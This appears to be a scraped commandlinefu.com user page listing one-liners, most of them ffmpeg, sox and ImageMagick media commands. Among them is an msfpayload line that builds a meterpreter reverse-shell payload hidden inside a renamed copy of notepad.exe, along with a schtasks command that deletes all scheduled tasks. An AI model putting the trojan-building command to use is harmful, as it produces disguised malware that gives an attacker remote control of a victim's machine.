What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

UpGuard checks and validates configurations for every major OS, network device, and cloud provider.

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:



May 19, 2015 - A Look At The New Commandlinefu
I've put together a short writeup on what kind of newness you can expect from the next iteration of clfu. Check it out here.
March 2, 2015 - New Management
I'm Jon, I'll be maintaining and improving clfu. Thanks to David for building such a great resource!

Top Tags



Commands by kev from sorted by
Terminal - Commands by kev - 116 results
while :; do cat file.txt | nc -l 80; done
schtasks /create /sc onlogon /tn "Run prog" /tr prog.exe
curl -sm1 http://www.website.com/ | grep -o 'http://[^"]*jpg' | sort -u | wget -qT1 -i-
schtasks /delete /tn * /f
msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=8000 R | msfencode -c 5 -t exe -x ~/notepad.exe -k -o notepod.exe
cvs checkout -l project/src/
ffmpeg -ss 00:00:30 -t 00:02:58 -i input.mp3 -acodec copy ouput.mp3
ffmpeg -i video.mp4 -i audio.mp3 -vcodec copy -acodec copy -map 0.0:0 -map 1.0:1 mix.mp4
2011-09-03 14:05:16
User: kev
Tags: ffmpeg

-map 0.0:0

map the video of video.mp4 to the video of mix.mp4

-map 1.0:1

map the audio of audio.mp3 to the audio of mix.mp4

make sure that video.mp4 and audio.mp3 have the same duration

sox input.mp3 output.mp3 fade h 5 00:02:58 5
2011-09-03 13:59:03
User: kev
Tags: sox

fade [type] fade-in-length [stop-time [fade-out-length]]

Apply a fade effect to the beginning, end, or both of the audio.

An optional type can be specified to select the shape of the fade curve: q for quarter of a sine wave, h for

half a sine wave, t for linear (`triangular') slope, l for logarithmic, and p for inverted parabola. The

default is logarithmic.

A fade-in starts from the first sample and ramps the signal level from 0 to full volume over fade-in-length sec?

onds. Specify 0 seconds if no fade-in is wanted.

For fade-outs, the audio will be truncated at stop-time and the signal level will be ramped from full volume

down to 0 starting at fade-out-length seconds before the stop-time. If fade-out-length is not specified, it

defaults to the same value as fade-in-length. No fade-out is performed if stop-time is not specified. If the

file length can be determined from the input file header and length-changing effects are not in effect, then 0

may be specified for stop-time to indicate the usual case of a fade-out that ends at the end of the input audio


All times can be specified in either periods of time or sample counts. To specify time periods use the format

hh:mm:ss.frac format. To specify using sample counts, specify the number of samples and append the letter `s'

to the sample count (for example `8000s').

ffmpeg -i input.mp4 -vn -acodec copy output.m4a
2011-09-03 12:09:30
User: kev
Tags: ffmpeg

With the -vn switch we make our intentions clear and ask FFmpeg not to bother itself with the video. Next we specify the audio codec copy, which tells FFmpeg to use the same codec to encode the audio, which it uses to decode it. To keep things simple, we'll just keep the sampling and bitrate values the same.

cat /etc/passwd | column -nts:
python3 -m http.server
convert input.png -pointsize 32 -gravity center -annotate 45 "hello, world" output.png
convert input.png -alpha set -channel A -fx 0.5 output.png
convert -size 20x20 xc:white -fill black -draw "circle 10,10 14,14" miff:- | composite -tile - input.png -compose over miff:- | composite - input.png -compose copyopacity output.png
ifconfig | convert label:@- ip.png
composite -dissolve 30% -tile watermark.png input.png output.png
convert input.png -colorspace Gray output.png
convert -size 32x32 \( xc:red xc:green +append \) \( xc:yellow xc:blue +append \) -append output.png
montage *.png -mode concatenate -tile 10x all.png
convert input.png -shave 10x10 output.png
convert input.png -mattecolor gold -frame 10x10+5+5 output.png
convert -crop 32x33 +repage http://code.google.com/more/more-sprite.png icon.png
find . -type d -name 'CVS' | xargs rm -r